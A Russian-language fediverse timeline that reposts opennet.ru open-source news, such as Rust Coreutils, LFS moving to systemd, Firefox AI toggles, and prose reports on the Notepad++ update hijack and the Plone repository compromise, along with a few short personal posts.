задействован по умолчанию в выпуске Ubuntu 25.10 и применяется в дистрибутивах AerynOS (Serpent OS) и Apertis (развивается компанией Collabora). В отличие от GNU Coreutils реализация на Rust распространяется под пермиссивной лицензией MIT, вместо копилефт-лицензии GPL. Дополнительно той же командой разработчиков развиваются написанные на Rust аналоги наборов утилит util-linux, diffutils, findutils, procps и acl, а также программ sed и login.
В новой версии Rust Coreutils:
Источник: https://www.opennet.ru/opennews/art.shtml?num=64730
contrinitiator
honked back 03 Feb 2026 08:57 +0100
in reply to: https://plasmatrap.com/notes/ai9sye84tw
@wthinker @mikrozelenb @iron_bug @livefish Мне кажется, на каждого прохожего уже по несколько видеокамер, которые постоянно что-то куда-то транслируют, про количество чоповцев уже молчу. Но становится всё опасней и опасней.
continue
bonked 02 Feb 2026 21:13 +0100
original: bsd@mastodon.bot
OpenBSD 7.7 // HTTPD // ERRATA 019 Date: February 2, 2026
Name: 019_httpd.patch
Description: Fix a use-after-free in httpd(8) when using chunked encoding.
Link: https://cdn.openbsd.org/pub/OpenBSD/patches/7.7/common/019_httpd.patch.sig
contrinitiator
honked back 02 Feb 2026 18:26 +0100
in reply to: https://hubzil.la/objects/434e8f70-1469-7af1-abe1-cd2323069444
continue
bonked 02 Feb 2026 17:03 +0100
original: razzlom@quietplace.xyz
Когда ты пишешь [А-Яа-я] ты надеешься, что все буквы входят в эту последовательность, НО
ё особенная и не входит в него.
#regexp
contrinitiator
honked 02 Feb 2026 16:36 +0100
ГБОУ ДОД
contrinitiator
honked 02 Feb 2026 15:26 +0100
Что опять Эйнштейн сделал?
Проект Linux From Scratch прекращает поддержку SysVinit в пользу systemd В Linux From Scratch приведены инструкции по созданию с нуля базовой Linux-системы, используя лишь исходные тексты необходимого программного обеспечения. Beyond Linux From Scratch дополняет инструкции LFS информацией о сборке и настройке прикладных программных пакетов, охватывающих различные области применения, от СУБД и серверных систем, до графических оболочек и медиапроигрывателей.
В качестве причин отказа от развития руководств с SysVinit упоминается нехватка ресурсов и прекращение поддержки SysVinit крупными проектами, такими как GNOME и KDE Plasma. Проект поддерживается небольшой командой добровольцев, которая не справляется с обработкой потока изменений в 88 пакетах LFS и более 1000 пакетов в BLFS, в условиях необходимости проверки всех пакетов на работоспособность в окружениях на базе System V и systemd. Помимо этого последние версии GNOME и KDE Plasma требуют для работы функциональности systemd, которую можно было бы реализовать перейдя на OpenRC, но миграция не решит проблему с перегруженностью редакторов книги.
Брюс также отметил, что это вынужденное решение, которым он не доволен. Systemd включает 1678 файлов на языке C плюс множество файлов с данными, в то время как SysVinit содержит 22 файла на языке C и около 50 небольших bash-скриптов и файлов с данными. Несмотря на значительный перевес systemd в функциональности, по мнению Брюса, после прекращения поддержки SysVinit книга потеряет составляющие, важные для понимания того, как работает система.
Источник: https://www.opennet.ru/opennews/art.shtml?num=64728
continue
bonked 02 Feb 2026 12:51 +0100
original: liilliil@mastodon.online
Ух ты как свет прописан

Набор подсказок для рецензирования изменений в ядре Linux и systemd при помощи AI Также предоставляются шаблоны и списки проверок для выявления и классификации типовых ошибок (примеры для dbus и сетевой подсистемы) и инструкции по формированию через AI автоматизированных отчётов. После рецензирования патчей на выходе формируется файл review-inline.txt, оформленный в виде заготовки email для отправки в список рассылки разработчиков ядра.
Отмечается, что многие ложные срабатывания при анализе изменений через AI вызваны непониманием специфики кодовой базы и опубликованные подсказки нацелены на предоставление AI необходимой информации для принятия верных решений. В настоящее время уровень ложных срабатываний при использовании предложенного набора составляет примерно 10%.
Источник: https://www.opennet.ru/opennews/art.shtml?num=64709
В Debian GNU/Hurd обеспечена сборка 75% пакетов Debian GNU Hurd представляет собой ядро, развиваемое в качестве замены ядра Unix и оформленное в виде набора серверов, работающих поверх микроядра GNU Mach и реализующих различные системные сервисы, такие как файловые системы, сетевой стек, система управления доступом к файлам. Микроядро GNU Mach предоставляет IPC-механизм, используемый для организации взаимодействия компонентов GNU Hurd и построения распределённой мультисерверной архитектуры. Дистрибутив Debian GNU/Hurd сочетает программное окружение Debian c ядром GNU/Hurd и остаётся единственной активно развиваемой платформой Debian, созданной на базе ядра, отличного от Linux (ранее развивался порт Debian GNU/KFreeBSD, но он давно находится в заброшенном состоянии).
Источник: https://www.opennet.ru/opennews/art.shtml?num=64727
Первый публичный релиз ANet, стека для создания защищённых туннелей Основные особенности:
В отличии от WireGuard и OpenVPN, которые имеют узнаваемый handshake (Magic number + Noise Protocol) и характерный TLS-отпечаток, в протоколе ASTP каждый пакет начинается со случайной затравки (nonce 12 байт), за которым идёт шифротекст переменной длины с добавочным заполнением до ближайшего размера блока (настраивается). Для внешнего наблюдателя трафик неотличим от случайного. ANet преподносится как попытка вернуть в VPN "физичность" эпохи флоппинет (HDD у друга), но в цифре: PSK (pre-shared keys), ручное управление маршрутами, "zero-knowledge proof" через fingerprint.
Проект сопровождается кодексом поведения (Code of Conduct), подготовленным в соответствии с принципом "радикальной честности". В правилах прописано "Право на Посыл" (право послать любого разработчика при плохом коде), "Зеркальный Ответ" (жалобы на токсичность игнорируются), первостепенность кода (неважно, кто автор, а важно качество кода) и бан за попытки навязывания политкорректности.
Источник: https://www.opennet.ru/opennews/art.shtml?num=64726
Атака на проект Notepad++, приведшая к выборочной подмене обновлений Атака была проведена через выборочное перенаправление трафика между пользователем и сервером загрузки обновлений. Подмена оказалась возможной из-за уязвимости в механизме верификации и проверки целостности загружаемого обновления. Атакующий, способный вклиниться в транзитный трафик, мог подменить манифест обновления и инициировать вывод запроса на загрузку своего фиктивного обновления и связанных с ним метаданных для проверки целостности.
Дополнительный разбор показал, что атака была реализована на уровне инфраструктуры хостинг-провайдера, что позволило злоумышленникам перехватывать и перенаправлять трафик, адресованный домену notepad-plus-plus.org. Перенаправление осуществлялось выборочно только для определённых пользователей, которым отдавался подменённый манифест с информацией об обновлениях. Первые следы активности атакующих датированы июнем 2025 года, а последние - 10 ноября, но возможность совершения атаки сохранялась до 2 декабря.
Судя по предоставленной провайдером информации, атака стала возможна благодаря взлому одного из серверов для совместного хостинга. 2 сентября лазейка была прикрыта, но атакующие до этого получили учётные данные для подключения к одному из внутренних сервисов, что позволяло им до 2 декабря перенаправлять трафик Notepad++ на свои серверы. 2 декабря подмена обновлений была замечена и провайдер блокировал доступ атакующих. После инцидента сайт Notepad++ был переведён к другому хостинг-провайдеру, более тщательно заботящемуся о безопасности.
В версии Notepad++ 8.8.9 для блокирования подмены обновлений в состав Notepad++ и WinGUp были добавлены обязательные проверки не только цифровых подписей, но и сертификатов для загружаемых файлов, а тауже реализована блокировка применения обновления при неудачной проверке.
В ожидаемом в течение месяца выпуске 8.9.2 дополнительно будет добавлена проверка цифровой подписи для XML-манифеста (XMLDSig), возвращаемого сервером доставки обновлений.
Источник: https://www.opennet.ru/opennews/art.shtml?num=64725
В Firefox появилась настройка для отключения AI и активирован режим разделения экрана Для выборочного отключения доступны такие возможности, завязанные на AI, как перевод на другой язык, распознание текста на изображениях и в отсканированных PDF-документах, рекомендации и метки при группировке вкладок, генерация краткого содержимого страницы при предпросмотре ссылок и интерфейс для обращения к чатботам. Каждая из функций может быть включена, деактивирована или блокирована. При блокировке локально устанавливаемые AI-модели удаляются, а элементы интерфейса скрываются.
Дополнительно отмечается включение по умолчанию в ночных сборках Firefox, на основе которых 24 марта будет опубликован Firefox 149, режима Split View. В данном режиме пользователь может бок о бок в одном окне просмотреть содержимое двух вкладок. В Firefox 147 режим Split View по умолчанию отключён и активируется через параметр "browser.tabs.splitView.enabled" на странице about:config, после чего в контекстном меню, показываемом при клике правой кнопкой мыши на вкладках, появится кнопка "Add Split View".
При нажатии данной кнопки содержимое окна разделяется на две части и в правой части открывается содержимое страницы новой вкладки. Если выбрать опцию для группы из двух вкладок, указанные вкладки сразу будут раскрыты рядом с друг другом. Допускается произвольное изменение размера правой и левой области просмотра через перетаскивание мышью полосы-разделителя. Активная вкладка при одновременном просмотре выделяется красной рамкой.
Из изменений в ночных сборках Firefox также отмечается задействование в отдельном поле для поиска, которое можно добавить на панель, тех же механизмов вывода выпадающей информации, что используются в адресной строке AwesomeBar. Кроме того, началось тестирование функции Tab Notes, позволяющей прикреплять произвольные примечания к вкладкам.

Источник: https://www.opennet.ru/opennews/art.shtml?num=64724
Выпуск свободного эмулятора классических квестов ScummVM 2026.1.0 Всего обеспечена возможность запуска более 500 квестов, включая игры компаний LucasArts, Humongous Entertainment, Revolution Software, Cyan и Sierra, такие как Maniac Mansion, Monkey Island, Broken Sword, Myst, Blade Runner, King's Quest 1-7, Space Quest 1-6, Discworld, Simon the Sorcerer, Beneath A Steel Sky, Lure of the Temptress и The Legend of Kyrandia. Поддерживается запуск игр на платформах Linux, Windows, macOS, iOS, Android, PS Vita, Switch, Dreamcast, AmigaOS, Atari/FreeMiNT, RISC OS, Haiku, PSP, PS3, Maemo, GCW Zero и др.
В новой версии:
Источник: https://www.opennet.ru/opennews/art.shtml?num=64720
contrinitiator
honked back 01 Feb 2026 18:05 +0100
in reply to: https://friendica.ironbug.org/objects/3217dd65-9869-7f80-d059-028815317355
contrinitiator
honked 01 Feb 2026 16:56 +0100
Если рептилоиды сделают так, чтобы стало 4 Луны, ты никогда не докажешь, что раньше одна была, засмеют или сдадут в психушку.
Брус-16 — это учебная 16-битная игровая приставка с оригинальной, минималистичной архитектурой. В отличие от существующих fantasy consoles, Брус-16 проектировался с прицелом на аппаратную реализацию на ПЛИС.
continue
bonked 01 Feb 2026 11:25 +0100
original: grishka@mastodon.social
Компания Meta переписала часть мессенджера WhatsApp на языке Rust Мотивом для переработки послужило выявление в wamedia ошибок, возникавших при обработке некорректно оформленных MP4-файлов. Подобные ошибки были устранены и добавлены проверки корректности файлов, но потенциально библиотека представляла угрозу безопасности из-за вероятного наличия ещё не выявленных похожих ошибок и использования библиотеки при автоматической обработки присылаемых данных. Эксплуатация неисправленной уязвимости в wamedia могла бы привести к выполнению кода через отправку пользователя специально оформленных мультимедийных данных, как это недавно было продемонстрировано в библиотеке Dolby Unified Decoder.
Вместо постепенного переписывания wamedia был создан новый вариант библиотеки на языке Rust, который разрабатывался параллельно с оригинальной версией на C++. В конечном счёте удалось заменить около 160 тысяч строк кода на C++ на 90 тысяч строк кода на Rust.
Ключевыми проблемами при задействовании в WhatsApp кода на Rust стало увеличение размера исполняемого файла из-за интеграции стандартной библиотеки Rust и необходимость адаптации системы сборки с сохранением всех поддерживаемых платформ. При этом версия на Rust не только отличалась заметным сокращением числа строк в коде, но и показала прирост производительности и снижение потребления памяти по сравнению в реализацией на C++.
В настоящее время версия WhatsApp с кодом на Rust доведена до пользователей Android, iOS, macOS, Web, носимых устройств и некоторых других платформ. Утверждается, что опыт внедрения Rust в WhatsApp и распространение новой библиотеки wamedia на миллиарды устройств и браузеров показывает готовность к применению языка Rust в глобальном масштабе.
По данным Meta большинство опасных уязвимостей в развиваемых продуктах вызвано проблемами при работе с памятью в коде на C и C++. Для предотвращения появления подобных уязвимостей компания продвигает три стратегии: использование для нового кода языков, безопасно работающих с памятью; снижение поверхности атаки при проектировании; инвестирование в развитие средств для обеспечения безопасности остающегося кода на C и C++.
Источник: https://www.opennet.ru/opennews/art.shtml?num=64719
Атакующим удалось добавить незамеченный вредоносный код в репозиторий Plone 14 января скомпрометированная учётная запись была заблокирована, а разработчикам проекта рекомендовано проанализировать коммиты с 1 по 14 января. 27 января было обнаружено, что замеченными коммитами дело не ограничилось и атака затронула пять репозиториев проекта (plone/volto, plone/mockup, plone/plone.app.mosaic,
plone/critical-css-cli, plone/plonetheme.barceloneta), в которые был незаметно интегрирован вредоносный код. В случае репозитория plone.app.mosaic, атакующим удалось подменить master-ветку. Атака была проведена спустя два месяца после захвата токена доступа разработчика.
Для интеграции изменений вместо обычных коммитов атакующие воспользовались операцией "force push" (git push с опцией "--force"), позволяющей принудительно заменить ветку во внешнем репозитории своим содержимым и, соответственно, переписать историю изменений (после замены показывается история из ветки, загруженной атакующим). Для предотвращения подобной подмены веток в будущем разработчики Plone включили в GitHub правила, блокирующие операции "force push" для основных веток и тегов.
В репозитории plone.app.mosaic для затруднения выявления компрометации атакующие подставили в master-ветку вредоносный коммит, имеющий фиктивную дату - 18 декабря, полагая, что область поиска вредоносного кода сосредоточится на изменениях, добавленных после их первой активности в репозитории. Вредоносное изменение преподносились в подставленном коммите как начало разработки нового тестового выпуска, но помимо смены номера версии в метаданных (с 4.0.0a1 на 4.0.0a2.dev0) в вызываемый на этапе сборки javascript-файл prettier.config.js был добавлен вредоносный код. Для скрытия при просмотре изменения в терминале код был добавлен в одной строке с легитимной операцией и смещён из видимой области с использованием пробелов. В интерфейсе GitHub данный код также не показывался по умолчанию и требовал нажатия кнопки "Load Diff".
Атака была нацелена в большей степени на разработчиков проекта, чем на пользователей. В релиз вредоносные изменения не вошли. Вредоносный код активировался при сборке, загружал эксплоиты для повышения привилегий, настраивал автозапуск через вызов своих процессов из стартовых скриптов и позволял удалённо управлять сервером. Помимо этого устанавливаемый вредоносный компонент осуществлял поиск и отправку конфиденциальных данных, таких как токены доступа, профили браузеров и ключи от криптокошельков.
Источник: https://www.opennet.ru/opennews/art.shtml?num=64718
Выпуск среды рабочего стола Budgie 10.10.1 Среди изменений в новой версии:
Источник: https://www.opennet.ru/opennews/art.shtml?num=64717
continue
bonked 31 Jan 2026 22:41 +0100
original: opennet@honk.any-key.press
Опубликован scx_horoscope, астрологический планировщик задач для ядра Linux Планировщик полностью работоспособен и достаточно стабилен, но не рекомендуется для рабочего применения, так как действительно учитывает при вычислении приоритета процессов ретроградное движение планет и фазы Луны. Для точного определения позиции планет задействован пакет astro.
Задачи классифицируются с учётом знаков зодиака и привязки к небесным телам, например, солнце связывается с критически важными процессами (PID 1, init), луна с интерактивными задачами (редакторы, командные оболочки, эмуляторы терминала), меркурий с сетевыми задачами и вводом/выводом, венера с десктоп-задачами, марс с высоконагруженными приложениями (компиляторы, кодировщики видео), юпитер с активно потребляющими память процессами (СУБД, браузеры), сатурн с системными фоновыми процессами и потоками ядра.
При негативных с точки зрения астрологии факторов влияния положения планет, вычисленного на текущий день, применяется снижение приоритета на 50% для связанного с планетой класса задач. Например, при ретроградном меркурии снижается приоритет для сетевых и интерактивных задач, при ретроградном марсе - ресурсоёмких задач, а при ретроградной венере - десктоп-задач.
На приоритет также влияет текущая фаза луны - в полнолуние интерактивные задачи получают в 1.4 раза больше времени. Огненные и воздушные знаки зодиака повышают приоритет потребляющих CPU задач в 1.5 раза, но снижают приоритет интенсивно расходующих память задач в 0.7 раза. Водные знаки уменьшают приоритет CPU-задач в 0.6 раз, но повышают приоритет расходующих память задач в 1.3 раза.
Из планов на будущее отмечается создание нотальной карты процессов на основе времени их создания, прогнозирование времени завершения процессов по гороскопу и учёт астрологической совместимости при привязке процессов к ядрами CPU.
Источник: https://www.opennet.ru/opennews/art.shtml?num=64711